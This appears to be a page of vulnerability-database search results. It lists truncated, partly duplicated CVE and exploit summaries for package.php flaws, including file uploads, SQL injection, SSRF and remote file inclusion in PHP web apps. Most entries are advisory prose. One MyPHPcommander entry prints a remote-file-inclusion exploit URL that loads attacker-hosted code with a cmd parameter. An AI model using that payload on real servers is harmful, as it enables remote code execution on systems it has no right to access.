CVE-2018-25436: Unrestricted Upload of File with Dangerous Type

WordPress Plugin Baggage Freight Shipping Australia 0.1.0 contains an unrestricted file upload vulnerability that allows unauthenticated attackers to upload arbitrary files by exploiting the upload-package.php endpoint. Attackers can submit POST requests with malicious file extensions to the uplo...

PT-2026-49223

WordPress Plugin Baggage Freight Shipping Australia 0.1.0 contains an unrestricted file upload vulnerability that allows unauthenticated attackers to upload arbitrary files by exploiting the upload-package.php endpoint. Attackers can submit POST requests with malicious file extensions to the uplo...

CVE-2025-9426

A weakness has been identified in itsourcecode Online Tour and Travel Management System 1.0. This affects an unknown part of the file /package.php. Executing manipulation of the argument subcatid can lead to sql injection. The attack may be performed from a remote location. The exploit has been...

CVE-2025-9426: Improper Neutralization of Special Elements used in an SQL Command

A weakness has been identified in itsourcecode Online Tour and Travel Management System 1.0. This affects an unknown part of the file /package.php. Executing manipulation of the argument subcatid can lead to sql injection. The attack may be performed from a remote location. The exploit has been...

CVE-2024-12949

CVE-2024-12949 affects the code-projects Travel Management System 1.0. The vulnerability is an SQL injection in the unknown code of /package.php caused by improper handling of the subcatid parameter. It is exploitable remotely and the exploit has been disclosed publicly. Impact is described with ...

CVE-2024-12949 code-projects Travel Management System package.php sql injection

A vulnerability was found in code-projects Travel Management System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /package.php. The manipulation of the argument subcatid leads to sql injection. The attack can be initiated remotely. The exploit has been...

CVE-2024-12949: Improper Neutralization of Special Elements used in an SQL Command

A vulnerability was found in code-projects Travel Management System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /package.php. The manipulation of the argument subcatid leads to sql injection. The attack can be initiated remotely. The exploit has been...

CVE-2024-9815 Codezips Tourist Management System create-package.php unrestricted upload

A vulnerability has been found in Codezips Tourist Management System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /admin/create-package.php. The manipulation of the argument packageimage leads to unrestricted upload. The attack can be...

CVE-2024-9815 Codezips Tourist Management System create-package.php unrestricted upload

A vulnerability has been found in Codezips Tourist Management System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /admin/create-package.php. The manipulation of the argument packageimage leads to unrestricted upload. The attack can be...

CVE-2024-9815: Unrestricted Upload of File with Dangerous Type

A vulnerability has been found in Codezips Tourist Management System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /admin/create-package.php. The manipulation of the argument packageimage leads to unrestricted upload. The attack can be...

CVE-2024-32254: Unrestricted Upload of File with Dangerous Type

Phpgurukul Tourism Management System v2.0 is vulnerable to Unrestricted Upload of File with Dangerous Type via tms/admin/create-package.php. When creating a new package, there is no checks for what types of files are uploaded from the image...

CVE-2020-28136: Unrestricted Upload of File with Dangerous Type

An Arbitrary File Upload is discovered in SourceCodester Tourism Management System 1.0 allows the user to conduct remote code execution via admin/create-package.php vulnerable page...

Server side request forgery (ssrf)

An issue was discovered in Simple Machines Forum SMF before release 2.0.17. There is SSRF related to Subs-Package.php and Subs.php because user-supplied data is used directly in curl calls...

CVE-2019-11574

An issue was discovered in Simple Machines Forum SMF before release 2.0.17. There is SSRF related to Subs-Package.php and Subs.php because user-supplied data is used directly in curl calls...

CVE-2019-11574: Server-Side Request Forgery (SSRF)

An issue was discovered in Simple Machines Forum SMF before release 2.0.17. There is SSRF related to Subs-Package.php and Subs.php because user-supplied data is used directly in curl calls...

CVE-2007-0568: Undefined Security Weakness

PHP remote file inclusion vulnerability in system/lib/package.php in MyPHPCommander 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the glroot parameter...

MyPHPcommander 2.0 (package.php) Remote File Include Vulnerability

script : http://sourceforge.net/projects/myphpcommander file : package.php vuln : requireonce $glroot.'system/lib/xml2.php'; Contact : Cold z3ro , [email protected] Exploit: http://site.0/myphpcommanderpath/system/lib/package.php?glroot=http://www.4azhar.com/soft.txt?cmd...

MyPHPcommander 2.0 (package.php) Remote File Include Vulnerability

No description provided by source. script : http://sourceforge.net/projects/myphpcommander file : package.php vuln : requireonce $glroot.'system/lib/xml2.php'; Contact : Cold z3ro , [email protected] Exploit:...

MyPHPcommander 2.0 - package.php Remote File Inclusion

MyPHPcommander 2.0 - package.php Remote File Inclusion script : http://sourceforge.net/projects/myphpcommander file : package.php vuln : requireonce $glroot.'system/lib/xml2.php'; Contact : Cold z3ro , [email protected] Exploit:...

MyPHPcommander 2.0 (package.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================== MyPHPcommander 2.0 package.php Remote File Include Vulnerability ================================================================== script :...